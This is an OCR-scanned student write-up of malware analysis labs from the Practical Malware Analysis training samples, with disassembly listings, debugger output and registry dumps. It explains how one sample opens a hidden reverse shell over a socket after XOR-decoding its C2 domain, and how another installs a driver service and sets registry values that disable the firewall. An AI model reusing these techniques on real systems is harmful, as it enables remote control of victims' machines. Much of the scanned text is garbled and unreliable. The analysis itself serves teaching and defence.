-37T4ET100102.168.1, 1401

8

G

0. O30FATO0192.168,1.1a1
0. O

1

2

Figure 11. Network Traffic
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From wireshark, we can see that the malware is attempting to retrieve commands from
http://www.practicalmalwareanalysis.com. A random page(xxxx/xxx.xxx) is retrieved from
the server using HTTP/1.0. Note that the evil domain can be changed, therefore by fixing the
network based signature to just practicalmalwareanalysis.com is not sufficient.

e. Analyze the malware found in the file Lab09-02.exe using OllyDbg to
answer the following questions.

i. What strings do you see statically in the binary?

Address Length Type  String

= runtime error

TLOSS erroririn

SING errofirin

DOMAIN erroririn

RE028\r\n- unable to initialize heap'rin

RE02ZTWrn- not enough space for lowio initialization\rin
RE026\rn- not encugh space for stdio initialization\rn
RE6025%r\n- pure virtual function call\rin

RE024\r\n- not enough space for _onexit/atexit table\rin
RE019%r\n- unable to open console device\rin
RE0184An- unexpected heap erroririn

RE0ITwrn- unexpected multithread lock errorain
RE01E\MN- not enough space for thread data\rin
“Wrnabnormal program terminationirin

RB00%\r\n- not enough space for environment.rin
RE00E\rAN- not enough space for argumentsirin
RB002%r\n- floating point not loaded\rin

Microsoft Visual C++ Runtime Library

Runtime Errorfin\nProgram:

<program name unknown>

rdata:004040E0  DDODOOOE
rdata:004040F0  0OO0000D
rdata:00404100  0OODODOF
.rdata:00404110 00000025
rdata:00404138 00000035
rdata:00404170 00000035
rdata:00404148 00000026
rdata:00404100 00000035
.rdata:00404208 00000029
rdata:00404234 0000021

rdata:00404258  000000Z2D
rdata:00404288  0000002C
rdata:00404284 00000021

.rdata:004042D8 0DOD00Z2C
rdata:00404304  QO00D00ZA
5" rdata:00404330 00000025
rdata:00404358 00000025
°| rdata:00404384 0000001 A
rdata:00404344  00O0DOOT

2 4 24 2 4 A oA A A

PN N N N By NN N N

57 .rdata:004043BC 0DDDDD13 GetlastActivePopup
IE rdata:00404300 00000010 GetActiveWindow
IZ rdata:004043E0  Q000000C MessageBoxA
IE rdata:004043EC  000DODOB user32.dll

[S7 .rdata:00404562 0DDDODOD KERMEL32.dlI

[S] .rdata:0040457E  DDDDDDOB Ws2_32.dll

[5] .data:0040511E  DDDDDDOG unic @\t

5] .data:00405126  0DDDDDDG unic...  @in

[E] .data:00405166  0ODODDDOG unic... @\x1B

E .data:00405176 00000006 unic... @x

[5] .data:0040517E  DDDDDDDG unic... @y

IE .data:00405186  00D000D0E unic.. @z

5] .data:004051AC  0DDDDDDG C ‘Gye!

Nothing useful...
2ii What happens when you run this binary?
The program just terminates without doing anything.

iii. How can you get this sample to run its malicious payload?
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moush
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ebp+var_188], “1°
ebpswar_1AF], "q°
ebprvar 1AE], ‘a°
ebprwar_1A0], ‘="
ebprvar_1AC], "2°
ebpswar_1AB], "w"
ebprvar_1A8], *s°
ebprvar_1A9], “x°
ebprvar_1A8], "3°
ebpswvar_1A7], 'e°
ebprvar 1A6], "d°
ebprwar_1A5], ‘c°
ebpruvar_1As], 8
ebpswar_1A8], "a°
ebprvar 19F], "c°
ebprwar_19E], “1°
ebprvar_190], °.°
ebpswvar_19C], ‘e°
ebpswvar 1987, "=°
ebprvar_198], ‘e°
ebpruvar_199], 8
ecx, ®

esi, offset unk 405034
edi, [ebprvar_1F@]

rep mousd

[ebp+var 1BE8], @

maw [ebp+Filename], @

maw ecx, a3h

sor eax, eax

lea edi, [ebpsvar 2FF]

rep stosd

stosh

push 10ER : nsize

lea eax, [ebp+Filenane]

push eax : lpFilename
push a : hModule
call ds:GetModuleFileNanen

push e ; dint

lea ecx, [ebp+Filenane]

push ecx : char =
call strrche : pointer teo last occurence
add esp, ®

maw [ebprwvar_ 4], eax

maw edx, [ebpruoar_4]

add edx, 1 : remoue
mou [ebpruvar_ 4], edsx

maw eax, [ebpruar 4]

push eax : current executable name
lea ecx, [ebpruar_1a0]

push ecx ; ocl.exe
call Strocnp

add esp, &

test eax, eax

iz short loc H@124L0C

Malware Analysis

Figure 1. ocl.exe

From the above flow graph in main function, we can see that the binary retrieves its own
executable name via GetModuleFileNameA. It then strip the path using _strrchr. The
malware then compares the filename with “ocl.exe”. It it doesn’t match, the malware will
terminates. Therefore to run the malware we must name it as “ocl.exe”.

iv. What is happening at 0x00401133?

text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:
text:

88481133
a846113Aa
ae461141
98481148
a848114F
8401156
88481150
8481164
88481168
ag4p1172
8401179
ga4e1180
8481187

mau

[ebp+uvar_1BH],
mou [ebp+var_1AF],
mou [ebp+uvar_1AE],
mou [ebp+uar_1AD],
mov [ebp+uvar_1AC],
mou [ebp+var_1AEB],
mou [ebp+uar_1AA],
mou [ebp+uar_1A?],
mov [ebp+uar_1AB],
mou [ebp+var_1A7],
mou [ebp+uar_1A6],
mou [ebp+uar_1A5],
mov [ebp+uar_1A4],

Figure 2. some passphrase?

"1
'q
‘a
‘Z
L2
‘w
's
T
i)

e

d

[

We can see in the opcode that a string is formed character by character. The string is
“lqaz2wsx3edc”. The way the author created the string prevented IDA Pro from displaying
it as a normal string.
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v. What arguments are being passed to subroutine 0x00401089?

BB CPFDFFFE

i.B84DIBa3

I[u:.':l_:mmes

[ A

nare

CCESS [ REOaaans)

+7
| 52

3. GetHostName

e
s

|

1=t
R4
e
SRE

A._d

i

i
[-]

Figure

From the above ollydbg image, we can see that the string “1qaz2wsx3edc” is passed in to the
subroutine 0x00401089. An unknown pointer (0x0012FD90) is also passed in.

OllyDbg - ocl.exe - [CPU - main thread, module ocl]

€] Fie view Debug Options Window Help

- Crot FEFEFFFF
~EB_BF
5 SBED FBFEFFFF

. 5980 FSFEFFFF
% 8380 FEFEFFFF
70 21

"BEEE BT
Q395 FEFEFFFF

ggss FEFEFFFF
F?ED FCFEFFFF
GFEE1418

2achA

SEES FBFEFFFF

EB B?
5 S08% @BFFFFFF
« BF

JHF SI-CRI r.n:l BE4S10ES
PTR SS: [EBP-1881

EEF-1881, ECH
BPELBQJ <28

Petul
-

FTR S5:[EBP-188]
HOUSX EC?‘ E-'\r"l'E FTR DS: 0
Eﬂk' DIORD PTR 55: CEEP-1881

IDI'J DWORD FTR S5: [EEF-1841
MOU EFR, DWORD PTR 55: [EBF+51
HOUSH ED?'! EYTE PTR DS: CERMHEDX]

D PTR_SS:[EBP=1881

L.JHP SHORT oo . BB4810804
LER ER,DW0RD PTR S5:[EBP-168]

HOU ESF.EBP
FOP EBF

H
FUSH EEF

MOV _EEF, ESP

_.J.!‘.J"J 2 eiti yiii M o LIEIMziwiniciviEBi/s) ::J;iJ...l
TR DWORD P16 55: (RO 1063,

HMOU ERE, DLOR
|| Mou BYTE PTR 55: (ERP+EAN-18@1,CL

EAX S290BeeaE
BAAAGGE |
=)

Stepping into the subroutine, you will realize that the malware is trying to decode a

string(0x0012FD90) with the xor key (1qaz2wsx3edc). As shown above, we can start to see
the decoded string taking shape.

6. What domain name does this malware use?

HEGE11ES |« HEBE141W MUUSE EUR.BY IE PR WS LEHA+HEDFD
Ba4aiiac)) . 33CH ROR ECX, ED

HE4E118E |l « 8B2S FSFEFFFF|| MOU ERX, OWORD PTR S5: [EEP-1@31
on451114|| + 998CES BEFFFFI| MOU BYTE PTR S5: [EBP+EAN- 1@a1, CL
HA4E111E]] .~EB B?P JHMP _SHORT ocl. BE4@1604
[EEEEFWENN] | = 2025 BEFFFFFF| LEA EAX,DWORD FTR S5: [EBP-16@1
EEdEiiza]] .« BF FOF EDI

BE4E1 124 2BEE Mo ESP EEF

BE4E] 126 ED FOF E

Bad4E11zy|b. G2 RETH

BE4E11228| s &S FUSH EBF

HE4E1129)) . BBEC MOU _EBF . ESF

Stack address=BB12FBS4, (A
ERX=BB88681F
Jump from BE4E18ER

SCII "www.practicalmalwareanalysis.com™

Bddress |Hen dunE RZCII

BE1ZFES4| 77 TF 7r ZE| 78 T2 &1 E3|www.prac
BELZFEEC) 74 62 63 61 60 60 &1 &C(ticalmal
BE1ZFEF4| 77 61 72 65|61 6E &1 &Cfwareanal
BELZFEFC| 72 72 69 P3| 2ZE 62 oF &Dfvsisz.con
BE1ZFES4 )| BE B8 BB G0 A0 @8 B8 0Af .. ......
BE1ZFESC| 86 B8 B8 B0 60 @8 88 oAl ........
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http://www.practicalmalwareanalysis.com

7. What encoding routine is being used to obfuscate the domain name?

As mentioned in question 5, XOR is used to obfuscate the domain name.

8. What is the significance of the CreateProcessA call at 0x0040106E?

The first block shows that we get the decoded domain name and get the ip by using
gethostbyname . In the second block, we can see that it is trying to connect to the derived ip

at port 9999. In the third block, we can see that socket s is passed into the
CommandExecution subroutine as last argument.

CommandExecution proc near

StartupInfo= _STARTUPINFOA ptr -S8h

var_14%= dword ptr -1%h

Processinformation= _PROCESS_INFORHATION ptr -10h
arg_18- dword ptr 18h

push ebp

mow ebp, esp

sub esp, S8h

mowv [ebpsvar_14], @

push L 7 size_t

push a ; dimt

lea eax, [ebp+Startuplinfo]

push Bax  woid =

call nenset

add esp, BCh

maowy [ebpsStartupinfo.ch], 4&h

push 18h 7 size_t

push a : imt

lea ecx, [ebp+Processinformation]

push BCH : wvoid =

call nenset

add esp, BCh

mowy [ebpsStartupinfo.dwFlags], 181h

mu [ebp+Startupinfo.wShouwindow], @
mow edx, [ebp+arg 18]

mow [ebp+Startupinfo.hStdinput], edx

mow eax, [ebp+Startuplnfo.hStdinput]

moy [ebp+Startupinfo.hStdError], eax

mow ecx, [ebp+Startuplnfo.hStdError]

moy [ebp+Startupinfo. hStdlutput], ecx
lea edx, [ebp+Processinformation]

push edx ; lpProcessinformation
lea eax, [ebp+Startupinfo]

push eax : lpStartuplnfo

push a  lpCurrentbDirectory
push ] : lpEnvironment

push ] ; duwCreationFlags
push 1 + blnheritHandles
push a 5 lpThreadAttributes
push a : IpProcessattributes
push offset CommandlLine ; “cnd’

push a : lpapplicationHane
call ds:CreateProcessn

mou [ebpsuvar_14], eax

push BFFFFFFFFh  dwHilliseconds

From the above figure, we can see that the StartupInfo’s hStdInput, hStdOutput, hStdError
now points to the socket s. In other words, all input and output that we see in cmd.exe
console will now be transmitted over the network. The CreateProcessA call for cmd.exe and
is hidden via wShowWindow flag set to SW_HIDE(0). What it all meant was that a reverse
shell is spawned to receive commands from the attacker’s server.

f. Analyze the malware found in the file Lab09-03.exe using OllyDbg and IDA
Pro.

This malware loads three included DLLs (DLL1.dll, DLL2.dll, and DLL3.dll)
that

are all built to request the same memory load location. Therefore, when viewing
these DLLs in OllyDbg versus IDA Pro, code may appear at different memory
locations.

i. What DLLs are imported by Lab09-03.exe?
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Address Ordinal Mame Library
00405000 DLL1Print DLL1
0040500C DLL2Print DLL2
00405008 DLL2Return) DLL2

TE 004050B0 GetStringTypeW KERMEL32
"E 0040508C LCMapStringA KERMEL32
00405048 MultiByteToWideChar KERMEL32
00405044 HeapRellloc KERMEL32
00405040 Virtualflloc KERMEL32
0040509C GetOEMCP KERMEL32
00405098 GetACP KERMEL32Z
00105094 GetCPInfo KERMEL32
00405090 Heaphlloc KERMEL32Z
0010508C RtllUnwind KERMEL32Z
00405088 HeapFree KERMEL32
00405084 VirtualFree KERMEL32
00405080 HeapCreate KERMEL32
0040507C HeapDestroy KERMEL32
00405078 GetVersionExA KERMEL32
%=| O0A05074 GetEnvironmentVariabled I(ERNEL32
[ ST s s S e s = i s s

From IDA Pro we can see that DLL1, DII2, KERNEL32 and NETAPI32 is imported by the
malware. During runtime we can see more dlls being imported.

[ Feecutable modules

L ocurents and S‘ett-m'ie_\ﬁchLnL:tratur\Dukbun\ Lnnu.'vl:ullec't Lun\l}uamer =Dl d1
Al K- curEn ki snd 5 Ain strator-Desktap~BinsryCol lect ion-Chapter _FL-0LLI. 41
2A Loh&?-'aﬂ CinDocurents -il'ld‘ 51‘“: \ﬂ'li‘\%|ﬁ\$!titﬂr\uﬂklﬂh’\3|nil‘!.ll:ﬂ| leet ion~Chapter_3L-Lab@?-23,
CesDocuments and Sertings~Administraror~Desktop~EBinaryCol lecr lon~Chapter_SLSOLLY. AL
FE‘.I'IT'IIEZ 5. 1.2680,.5512 EICI\U!II:II:‘.IEN'HI';'!!HSZ\HETHP]?'Z‘ dil
LF | 6. 1.2588.5612 [RDOWE" %
Gal.2568, "Ebl.z
1 G.J.TC-EIZI.:-GLE
[ E 5. 1.2668,5512
a3 ??D]FZFH 7.8, 2608, 5512
3| TTCT 4854 5.1.2688,5512
7 TCOT2FE: 5.1.2688,5512
TTETEZSF 5. 1.25080.5512
drFlesEs 5. l.26086, 5512 A4y afe TECRRTET E d
:la aamiaaa FTFE2126 E.1.3668, 6612 IHDDWS sy st en 22 Secu
GEF A FTEARLD 5, 1.26068,5512 [Iﬂﬂlswﬁystenﬂ\kern
BESRFaEd 70‘3121'.28 5. 1.2668, 5512 Iilﬂlliﬁ\wstenﬁzmtdl
20 G023 00d | TE4IRE 8. 1.26008,5512 IHDDS 2y 2 n enE2 - LISERS

Figure 2. DLL3.dll being imported during runtime

ii. What is the base address requested by DLL1.dll, DLL2.dll, and DLL3.dll?

Loading the dll in IDA Pro we can see the base address that each dll requests for. Turns out
that all 3 dlls requests for the same image base at address 0x10000000.

File Hame : D:\Practical Malware Analysis\Practical Malware Analysis Labs\BinaryCollection\Chapter 9L\DLL3.d11
Format : Portable executable For 8A38B6 (PE)
Imagebase @ 10A000A0

Section 1. (virtwal address BOOB1088)

Virtual size i DEREsShA {  21834.)
section size in File : BOARGORR { ZHST6.)
0ffset to raw data for section: @ooa10o

Flags 60080808208: Text Executable Readable

Alignment : default

05 type : M3 Windows

fApplication type: DLL 32bit

Figure 3. Imagebase: 0x10000000

iii. When you use OllyDbg to debug Lab09-03.exe, what is the assigned based address
for: DLL1.dll, DLL2.dll, and DLL3.dlI?

From figure 2, we can observe that the base address for DLL1.dll is @0x10000000,
DLL2.dll is @0x330000 and DLL3.dll is @0x390000.
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iv. When Lab09-03.exe calls an import function from DLL1.dll, what does this import
function do?

|-text:0o4010008 ; int _ cdecl main({int argc, const char ==arge, const char =senup)
|-text:-00401000 _main proc near » CODE XREF: start+aFlp
|.text: 0481000
|«text: 0481000 Buffer
|.text: @04818680 hFile
|-text:080401000 hModule dword ptr -14h
-text:@0401000 var 18 dword ptr -18h
|-text: 00481000 NHumberOfBytesWritten= dword ptr -8Ch
|.text: 80401000 var 8 = dword ptr -8
l.text:064818680 JoblId dword ptr i
|-text:00401000 argc dword ptr 8
§.text:ﬂﬂa01sun argu dword ptr @Ch
|-text: 08481000 envp dword ptr 16h
l-text:004%01000

dword ptr -1Ch
dword ptr -18h

|-text:004501000 push ebp
|.text:0o0s81001 mow ebp, esp

|.text: 00481063 sub esp, 1Ch

|«text: 0481006 call ds:DLLAPrimnt

l.text: 00450810060 call ds:DLL2Print
|-text:=00401012 call ds:DLL2Returnd
|.text:@04018018 mow [ebp+hFile], eax

|-text: 0401018 push a ; lpOverlapped
I

; Exported entry 1. DLLAPrint

; Attributes: bp-based frame

public DLLAPrint

DLL1Print proc near

push ebp

mow ebp, esp

mouy eax, dword_168888830

push eax

push offset aDll1HMysteryDat ; "DLL 1 mystery data Zdywn'
call printf |

add esp, 8

pop ebp

retn

DLL1Print endp

Figure 5. DLL1Print

From figure 4, we can see that DLL1Print is called. In figure 1, we can see that DLL1Print is
imported from DLL1.dll. Opening DLL1.dll in IDA Pro, we can conclude that DLL 1
mystery data %d\n is printed out. However %d is filled with values in dword 1008030 a
global variable. xref check on this global variable suggests that it is being set by
@0x10001009.

; BOOL _ stdcall D11Hain{HINSTANCE hinstDLL, DWORD fdwReason, LPUDID lpuReserved})
_D11Main@12 proc near

hinstDLL= dword ptr 8
fdwReason= dword ptr @OCh
lpuReserved= dword ptr 10h

push ebp

mow ebp, esp

call ds:GetCurrentProcessid
mou dword 10008030, eax
mou al, 1

pop ebp

retn BCh

_D11MainE12 endp

Figure 6. Setting global variable with process id
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The above figure shows that once the dll is loaded, it will query its own process id and set the
global variable dword 1008030 to the retrieved process id. To conclude DLL1Print will print
out “DLL 1 mystery data [CurrentProcess ID]*.

v. When Lab09-03.exe calls WriteFile, what is the filename it writes to?

~TEXT D UoNETBuY
~-textiaayo1 080
-text:oane1801
-text:@0401 003
-text: 00401006
~text:0ehe10060C
-text:00481812
-text:00401018
-text:-B80N61018
-text:aase1e1Dp
~text:00481020
-text:o0n81821
-text:00401 023
~text:o0n01028
-text: 00481028
-text:008401082C

push
o
sub
call
call
call
[yt gl
push
lea
push
push
push
Moy
push
call

Figure 7. File Handle from DLL2Reurn)

ebp

ebp, esp

esp, 1Ch
ds:DLL1Print
ds:DLLZ2Print
ds :DLLZ2Re thirnd

[ebp+hFile], eax
a

eax,
eax
17h

offFselt aﬂa]mareanalysi
[ebp+hFile]

ecx,
ecK
ds:WiteFile

; get a File Handle
: eax contains handle to file
3 lp0Overlapped

[ebp+HumberDFfBytesWritten]

1pHumberOfBytesWritten
; NHumberOFBytesToWrite
"malwareanalysisbook . com®”

: hFile

Analyzing Lab09-03.exe, we can see that the File Handle is retrieved from DLL2ReurnJ
subroutine (imported from DLL2.dIl)

Ll e (=]

; Exported entry

; Attributes:

public DLLZReturnd

push ebp

mow ebp, esp
mow

pop ebp

retn

DLL2Returnd endp

2

bp-based frame

DLL2Returnd proc near

eax, dword HOOBBA7E

DLL2Returnd

From the above image, DLL2Return] returns a global variable taken from dword 1000B078.

_D11Hain@12 proc near

hinstDLL= dword ptr 8
fdwReason= dword ptr

lpvReserved= dword ptr

push ebp

mou ebp, esp

push a

push 88h

push 2

push a

push a

push L4LAoVAABoh

push offset FileHame
call ds :CreateFilen

mov Hword 1088BB78,
moy al, 1

pop ebp

retn ACh

_D11Hain@12 endp

9. DLL2’s DLLMain

; BOOL _ stdcall D11Main{HIMSTAMCE hinstDLL,

ach

18h
; hTemplateFile

; dwihareiMode

H
H
; "temp.otxt

eax

; dwFlagsAndAttributes
; duCreationDisposition
lpSecurityattributes

; dwDesiredAccess

DWORD fdwReason,

LPUDID 1pvReserved)

Figure
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From the above image, things become clear. The returned File Handle points to temp.txt.

vi. When Lab09-03.exe creates a job using NetScheduleJobAdd, where does it get the
data for the second parameter?

According to msdn, NetScheduleJobAdd submits a job to run at a specified future time and
date. The second parameter is a pointer to a AT _INFO Structure

NET API STATUS NetScheduleJobAdd (
~In opt LPCWSTR Servername,

In LPBYTE Buffer,
Out LPDWORD JobId

)
-TEeXT I B0S U1 UEo cail OSIGil0SeHanoLe
-text:A8n81083C push offset LibFileMame ; ""DLL3.dLl1l""
-text: 884010481 call ds:LoadLibraryf
-text:6LO1 84T mow [ebp+hMHodule], eax
-text:A0n81048A0 push offset ProcHame ; ""DLLAPrint"”
-text:-08h0104F mow eax, [ebp+hHodule]
-text:BBhRA1852 push eax » hHModule
-text:- 084810853 call ds:GetProcAddress
-text:-A8481859 mow [ebp+uwar_ 8], eax
-text: Lol a5sc call [ebp+wvar_8]
-text:0h%01085F pusih offset aDll3getstructu ; “"DLL3AGetStructure*”
-text:-B88481086% mow ecx, [ebp+hModule]
~text:00401 067 push ecx » hModule
-text:0L401 068 call ds:GetProcAddress
-text:- 88481 86E mow [ebps+wvar_18], eax
-text:BBH01071 lea edx, [ebp+Buffer]
-text:-00480810874 pusih ed=x
-text:88L01875 call [ebp+wvar_18] s DLL3GetStructure
- text:-00401078 add esp, 4
-text:-B8848187B lea eax, [ebp+JobId]
-text:-B88hK81087E push eax » Jobld
-text: 0401087 F mow ecx, [ebp+Buffer]
-text:-864810882 pusih ecx s Buffer
-text:BB8H010883 push a 3 Serwvername

d

-text: 0401085 call HetScheduleJobad

Figure 10. AT_INFO structure o s

From Lab09-03.exe we can see that it is loading a dll dynamically during runtime by first
calling LoadLibraryA(“DLL3.dll”") then GetProcAddress(“DLL3Print”) to get the pointer to
the export function. The pointer is then called to get the AT INFO structure.

: BOOL _ stdcall DL1Hain(HIHSTAMCE hinstDbLL, DWORD FduReason, LPUDID lpuvReserwved)

DllMainE12 proc near ; CODE XREF: DL1EntryPoint+hBLp
lpMultiByteStr = dword ptr -4
hinstDLL = dword ptr 8
FdwReason = dword ptr  GCH
lpuReserved = dword ptr 18h
push ebp
o ebp, esp
push BCK
mow [ebp+lpHultiBytesStr], offset aPingWhew_malwar ; "ping www.malwareanalysisbook.com™
push 32h : cchWideChar
push offset WideCharStr ; lpWideCharStr
push BFFFFFFFFh ; chMultiByte
nou eax, [ebperlpHultiByteStr]
push eax 3 lpMultiByteSty
push A ; dwFlags
push a ; CodePage
call ds :HultiByteToWideChar
nou stru_10088R8A 0. Command, offset WideCharStr
o stru_18B88EBAB.JobTime , Zadonas
oy stru_100880a 0. DaysOFdonth, @ ; day of month
mou stru_10088E8A0.Days0fWeek, 127 ; day of week
mow stru_1000B0AB.Flags, 18881b ; Flag
mow al, 1

Figure 11. Get A'-I'A_“INFO Structure
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vii. While running or debugging the program, you will see that it prints out three pieces
of mystery data. What are the following: DLL 1 mystery data 1, DLL 2 mystery data 2,
and DLL 3 mystery data 3?

e DLL 1 mystery data prints out the current process id

e DLL 2 mystery data prints out the CreateFileA’s handle

e DLL 3 mystery data prints out the decimal value of the address to the command string “ping
http://www.malwareanalysisbook.com&#8221;

viii. How can you load DLL2.dll into IDA Pro so that it matches the load address used
by OllyDbg?

O Load a new file >

Load file ...re Analysis\Practical Malware Analysis Labs\BinaryCollectionChapter_SL\DLL2.dll as

Portable executable for 80386 (PE) [pe.ldw]
MS5-DOS executable (EXE) [dos.ldw]
Binary file

Processor type

MetaPC (disassemble all opcodes) [metapc] - Set
Analysis
Loading segment  0x00000000 Kernel options 1 Kernel options 2
Enabled
Loading offset 0x00000000 Indicator enabled Processor options
Options
Loading options [ ] Load resources
Fill segment gaps Rename DLL entries
Create segments Manual load
|:| Create FLAT group Create imports segment

0ad as Code segment

Cancel Help

-

Figure 12. Manual Load

Select Manual Load checkbox when opening DLL2.dll in IDA Pro. You will be prompted to
enter new image base address.
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Malware Analysis
Practical No. 4

a. This lab includes both a driver and an executable. You can run the executable
from anywhere, but in order for the program to work properly, the driver must
be placed in the C:\Windows\ System32 directory where it was originally found
on the victim computer. The executable is Lab10-01.exe, and the driver is Lab10-
01.sys

i. Does this program make any direct changes to the registry? (Use procmon to check.)
Not really. Looking at the following figure, the only direct changes made by the malware is

RNG\Seed. However if you were to look into the registries created by services.exe, we will
see that it is trying to add a service.

Mamitor

Fle Edt Evert Fiter Took Opbors Help

FH ARE 4@ B AR #ZE5ATE

Tirma Process Hams PD  Dgsmalion Fathi Feeull Db

a2 L0 e 1704 @ Flegt e shie HELMASTF TwisA E\MernsollEpplngiaphy FINE Seed SUCCESS Tppee: FIEG_ B,
240 T senices aim 104 B Fegt sk HEL WS yten’ CunentControl et Seniceslabl 1T\ T ype SUOCESS Tipe: AEG_DWDL.
B2 senvicesene ™ ‘n-ssahahe HELM\Syster’\ CuneniConirofief\SenicesiLab] (HI1\S ket SUCCESS Tree: AEG_D'wDL.
sl = ISyt CyneneCorroied Sarvices i st 00T\ Emor ool SUDDESS Tree: AEG_DWDL.
a1 3 . o HELHS stmert\ ConsntConsrof ot Sarvicns \abl (1 mageP st SUCCESE Troe: REG_EXFA,
21 ’ ST KL HAS smri\CoateriControb of Setvicns\Labl 007Dl s SUCCESS Ty FEG_SZ. La
2. eveaias 10T ELPES ETILE HFL WS i b ol ol e S s L ab] 0015 sl Sty SUDCESS Tyt AEG_BMA,
a4 :bﬂuﬂ&m G ‘Hbﬁsﬂ.\-\ﬁt HELHS gt CunentConrol e E rumHoct\ LEGACY_LABT0-01\Nestirtare SUOCESS Type: AEG WD
S T senaces e 104 B Feghetiskie HEL K\ SybertCunentControf e\ E rum'\ Aot LEGACY_LAR10HIMADIOMCantrol MeshCrasted” SUDDESS Ty AEG_D'WDL
B2 :Pemcese" T4 M Fioghetizhe MELMSystem’\ CuneniConiof et Erum'\Aoct LEGACY_LAD1HITW0MSevice SUCCESS Troe AEG 52, Le..
B2 - TH B FegSetshe HELMSyster’\ ComeniConirofief\Erum’\ Aloot LEGACY_LAR 10-IV\I00NLegacy SUCCESS T AEG_D'WDL
B venicas mm T FiegSotishin HIEL MAS st CovereCorf s E e Fiooi\LEGACY_LAR1001\I00AConfigFlags SUCCESS Trs: REG_OWD
BM. eenvicacaem ™ FrongS ol shum HEL WSt CoasentControliaf E rum Ao\ LEGADY_LAR10-01AIN00N lsas SUDCESS T REG_5Z. La
B2 iewivichs dia ] P el i HEL WSt CentContol el E fui oot LEGACY_LART0 0100000 CladsGUID SUDCESS Tk AEG 52, Li
a2 Ssenaces v T4 gt etviskie HEL M S her Cunent-ontrof e Erur Floot\ LEGACY_|ART0-IADI0MD eviceDlese SUCCESS Type: AEG_ 52 Le..
S T enaces enn 04 B RS etk HELH\Syten’\CuneniConirof et SenicestLab] (HIT\Enumidl SUCCESS Tpoe AEG 52, Le .
B isenices e 74 B Fioghetshie HELH Syhen\CuneniConirofietSenices\Labl (HI'E numCount BUCCESS Trpe: AEG_MwT
a1, Soevicmiem T4 B Fioghotizhn HELWSyesterOimeniConirofietSaricms tLab] IH1AE num' Nt nchance SUCCESS Troe: REG_D'WTL.

but this is not the case for regshot! There are some HKLM policies added to the machine.

rC xB6_0001.1xt - Notepad

Fls Edi Format Yiew Help
regshot 1 G.0 =86 unicode

CoAmenT
patetime: 201643/8 12:34:24 , 2016/3/8 12:35:23
Computer: USER-FCC21C8345 , USER-FCC2ICEIAS

Username: Administrator , Administrator

Keys added: 18

Controlse EnUmROOT Y LA
HELM Sy STEMYComtrol Set 001y Enum oot LEGACY | AF1G-01%0000
HELMYSY STEM\Control Set001NEnumROOT\LEGACY _LABLO-0LN0000Contral
HKLMYSYSTEMConTral Setodlhservi ceshLabl0-01

HELMYSYSTEMYContral setidlhServicesiLablo-01\Secur ity

HELMYS¥STEM\Control Set0ilhServices’Labl 0-01%Enum

HELMYSY STEM\CurrentContro] Set™Enumy koot Y LEGACY _LABLO-01

HELMY ST STEMWCUR P enTConTro] SETEnum,ROOT WLEGACY_LABLO=-0150000

HKLMASY STEM\CUR rentContro] Set\Enum\Root \LEGACY _LAEL0-0140000NControl

HELMYSYSTEMVCurrentControl Sethservicesi Lablo-01

HELMYSYSTEM CurrentControl SethServices’Lablo-01%Secur ity

HELMYSY STEMACUr Pentcontrol SeThServd ceshLablo-014Enum

HKUYS=1=5=21-1953962 763 -4 84 061 587 ~682003330- 500 sof twar el crosof t'windows \she] TnoRoam’ Ba gnn U\S\a
HELY5-1-5-21-1953062 763 -4 84 061 587 -682 003330500 Sof tware"\Microsof t \windows'she] INoRoam'\Eags™,
HELNE-1-5-21-1063062 763 -4 84 061 587 -682003330-5000 Sofrware'Microsoft\windows  Shal Tnokoam'\Bags \32 “5hell

values added: 128

LMY SOFTwaREPoTicies M crosofthwi ndowsFirewal 1\ pomainerofilehEnableFirewal 1 0x00000000

HELMYSOF TwaRENPO T Cl esi crosof twd ndowsFirewal 1hStandar derof i TehEnablerd rewall s 000000000
HELMSYSTEMAControl set 00l \Enum Yy ROOT \LEGACY _LABLO-0L \NextInstance: Ox0000000L

HELMYSYSTEM\Control Set 001NEnum Root \LEGACY L AB10-01%0000NService: “Lablo-01"

HELMYSY STEM\Control Set 001 EnumRoothLEGACY _LARL0-01%0000% Legacy: Ox00000001

HELMYSY STEMConTral SeT001NEnumROOT W LEGACY_LABLO-0LN 0000 ConfigFlags: uxouoouoou

HKLM\SYSTEM\CONT 0] 5eT 00L\ENUMROOT \LEGACY _LABL0-01%0000\C1ass § "Legacyorive
HELMYSYSTEM\Contro] set 0015\ Enum\Root \LEGACY_L ABL0-01%0000%C 1assGUID: " { ECCOSSD -047F-1101-A537-0000FBTS3EDL }*
HELMY Sy STEM Control Set 00l Enum Root Y LEGATY _L AR10-0L%0000 Devicebesc: “Labl

HELMAEY STEMY 0Nt ro] Set 001y Enumy RO LEGATY _L AR 0- Ol\oono\cc\m'rn'l\“new'lycreared“ Q00000000
HELMSYSTEMYCONTro] Set 00l Enum'\RoOT\LEGACY _LABLO=0140000ControT act tveservice: “Lablo=0n”
HELMYSYSTEMYContral set(ilhServices\Lablo-01 \Type: 0x0000000L1

HELMYSYSTEMNComtrol set001hServicesiLabl0-01hStart: 0x00000003

HELMASYSTEM\Contral Set00lhServicesiLabl 0-01\ErrorContral: 0x00000001

HKLM\SYSTEM\CONTro] SeT001\servi ceshLablo-01 Imagerpath: "\77\C Hwindows\SysTem3z\Lablo-01. sys”
HELMYSYSTEMyControl setdlhservicesiLabl0-01hpisplayName: “Lablo-01”"

HKLM\SYSTEM\Contro] set001hServicesiLabl0-01\SecuritySecurity: 01 00 14 BO 90 00 00 00 9C OO0 00 OO0 14 00 OO0 00 304
HELMYSY STEM\Control Set001’Servi cesiLabl 0-010Enum0: " "ROOTLEGACY _LABLO-0140000"

HELMYSYSTEMConTrol setoolhservi cestLablo-01NEnumCount 1 0x00000001

Figure 2. More Registry
changes in Regshot
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Malware Analysis

ii. The user-space program calls the ControlService function. Can you set a breakpoint
with WinDbg to see what is executed in the kernel as a result of the call to
ControlService?

I
push BFB1FFh ; duDesiredficcess
push offset ServiceMame ; “LabiB-81"
push edi ; hSCHanager
call ds:0pensServicen
mow esi, eax
test esi, esi
jz short loc_ 481886
Y
Ll s =]
loc_481869: ; lpServicefrgUectors
push 8
push a ; duHumServicefArgs
push esi : hService
call ds:StartServicen
test esi, esi
jz short loc_ 481886
Y
lea eax, [esp+2hh+ServiceStatus]
push eax ; lpServiceStatus
push 1 ; duControl
push esi : hService
call ds:ControlService

{ ¢

S

loc_481886:
pop esi
Xor 2ax, eax
pop edi
add esp, 1Ch
retn 18h

_WinMain@16 endp

Figure 3. ControlService

The above figure shows the malware opening Lab10-01 service, starting the service and
eventually closing it via ControlService; SERVICE  CONTROL STOP.

breaking the kernel debugger and using the following command !object \Driver shows the
loaded drivers...
